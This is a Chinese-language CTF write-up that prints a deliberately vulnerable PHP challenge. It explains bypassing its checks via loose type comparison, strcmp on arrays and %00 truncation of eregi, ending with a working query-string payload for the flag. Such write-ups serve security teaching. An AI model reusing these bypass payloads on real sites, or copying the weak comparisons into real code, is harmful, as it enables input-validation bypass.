<?php
$v1 = 0;
$v2 = 0;
$v3 = 0;
$a = (array)json_decode(@$_GET['iscc']);
if (is_array($a)) {
is_numeric(@$a["bar1"]) ? die("nope") : NULL;
if (@$a["bar1"]) {
($a["bar1"] > 2016) ? $v1 = 1 : NULL;
}
if (is_array(@$a["bar2"])) {
if (count($a["bar2"]) !== 5 OR !is_array($a["bar2"][0]))
die("nope");
$pos = array_search("nudt", $a["bar2"]);
$pos === false ? die("nope") : NULL;
foreach ($a["bar2"] as $key => $val) {
$val === "nudt" ? die("nope") : NULL;
}
$v2 = 1;
}
}
$c = @$_GET['cat'];
$d = @$_GET['dog'];
if (@$c[1]) {
if (!strcmp($c[1], $d) && $c[1] !== $d) {
eregi("3|1|c", $d . $c[0]) ? die("nope") : NULL;
strpos(($c[0] . $d) , "isccctf2017") ? $v3 = 1 : NULL;
}
}
if ($v1 && $v2 && $v3) {
echo 12;
}
?>
可以看出iscc是一个json对象。
需要达到的其中两个条件:
bar1
要求不是全数字且大于2016,赋值为2017a
即可bar2
要求其是一个长度为5的数组,而且里边第一个元素是数组
关键de难点在这一段:
$pos = array_search("nudt", $a["bar2"]);
$pos === false ? die("nope") : NULL;
foreach ($a["bar2"] as $key => $val) {
$val === "nudt" ? die("nope") : NULL;
}
这两个其实是互相矛盾的,如何绕过?这时利用第一个"nudt"
字符串与0
弱类型比较相等,就可以绕过,方法:“bar2”:[[1],2,3,4,0]
再来看后面这一段:
$c = @$_GET['cat'];
$d = @$_GET['dog'];
if (@$c[1]) {
if (!strcmp($c[1], $d) && $c[1] !== $d) {
eregi("3|1|c", $d . $c[0]) ? die("nope") : NULL;
strpos(($c[0] . $d) , "isccctf2017") ? $v3 = 1 : NULL;
}
}
- 首先保证$c[1]存在,
- 然后eregi()函数我们可以用%00截断,
- strcmp比较是==弱类型比较,构造 $c[1]为字符串,可以和%00(空)匹配,后面array和string进行strcmp比较的时候会返回一个null,
- 然后让$c[0]=”isccctf2017”即可
Payload:?iscc={"bar1":"2017a","bar2":[[1],2,3,4,0]}&cat[1][]=1&dog=%00&cat[0]="isccctf2017"
得到flag。